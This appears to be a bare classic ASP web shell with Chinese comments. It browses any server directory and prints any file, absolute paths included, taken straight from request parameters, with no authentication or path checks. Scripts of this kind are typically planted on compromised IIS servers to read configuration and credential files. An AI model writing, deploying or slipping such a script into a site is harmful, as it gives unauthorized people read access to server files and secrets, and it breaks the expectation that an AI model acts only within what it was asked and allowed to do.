<%
set fso = server.createobject ("scripting.filesystemobject")
if request("lookc")<>"" then
listpath(request("lookc"))
response.write "<hr>"
if request("lookfile")<>"" then
lookfile(request("lookfile"))
end if
else
if request("forder")="" then
forder="."
else
forder=request("forder")
end if
path=server.mappath (forder)
if request("lookfile")="" then
listpath(path)
else
lookfile(server.mappath(request("lookfile")))
end if
end if
function lookfile(path)
set txt=fso.opentextfile(path)
if not txt.atendofstream then
content=txt.readall
end if
response.write replace(server.htmlencode(content),chr(13),"<br>")
end function
function listpath(path)
set fd = fso.getfolder (path)
set fc=fd.SubFolders
for each f in fc
response.write "<a href='?forder="&forder&"/"&f.name&"'>"&f.name&"</a>"&" <目录><br>" '列出全部子目录
next
set fd = fso.getfolder (path)
for each f in fd.files
response.write "<a href='?forder="&forder&"&lookfile="&forder&"/"&f.name&"' target='_blank'>"&f.name&"<br>" '列出全部文件
next
end function
%>